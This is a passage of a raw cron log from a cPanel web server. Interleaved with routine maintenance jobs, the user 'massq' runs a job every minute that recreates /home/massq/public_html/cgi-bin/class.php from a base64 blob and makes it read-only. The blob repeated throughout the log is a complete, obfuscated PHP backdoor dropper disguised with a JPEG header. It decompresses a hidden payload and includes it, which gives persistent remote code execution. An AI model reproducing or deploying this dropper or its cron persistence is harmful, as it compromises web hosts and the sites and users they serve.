JVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:51:01 server CROND[31535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:51:01 server CROND[31536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:51:01 server CROND[31537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:52:01 server CROND[31905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:52:01 server CROND[31904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:52:01 server CROND[31906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:53:01 server CROND[32399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:53:01 server CROND[32400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:53:01 server CROND[32401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:54:01 server CROND[346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:54:01 server CROND[348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:54:01 server CROND[347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:55:01 server CROND[765]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 08:55:01 server CROND[771]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:55:01 server CROND[770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:55:01 server CROND[769]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 08:55:01 server CROND[772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:55:01 server CROND[773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:55:01 server CROND[775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:56:01 server CROND[1735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:56:01 server CROND[1736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:56:01 server CROND[1737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:57:01 server CROND[2147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:57:01 server CROND[2149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:57:01 server CROND[2150]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 08:57:01 server CROND[2148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:58:01 server CROND[2633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:58:01 server CROND[2635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:58:01 server CROND[2634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:59:01 server CROND[3039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:59:01 server CROND[3040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:59:01 server CROND[3041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:00:01 server CROND[3419]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 09:00:01 server CROND[3421]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 09:00:01 server CROND[3435]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  4 09:00:01 server CROND[3437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:00:01 server CROND[3436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:00:01 server CROND[3440]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 09:00:01 server CROND[3439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:00:01 server CROND[3438]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 09:00:01 server CROND[3441]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:00:01 server CROND[3442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:01:01 server CROND[4295]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 09:01:01 server CROND[4296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:01:01 server CROND[4298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:01:01 server CROND[4297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:01:01 server run-parts(/etc/cron.hourly)[4295]: starting 0anacron
Sep  4 09:01:01 server run-parts(/etc/cron.hourly)[4318]: finished 0anacron
Sep  4 09:02:01 server CROND[4686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:02:01 server CROND[4687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:02:01 server CROND[4693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVp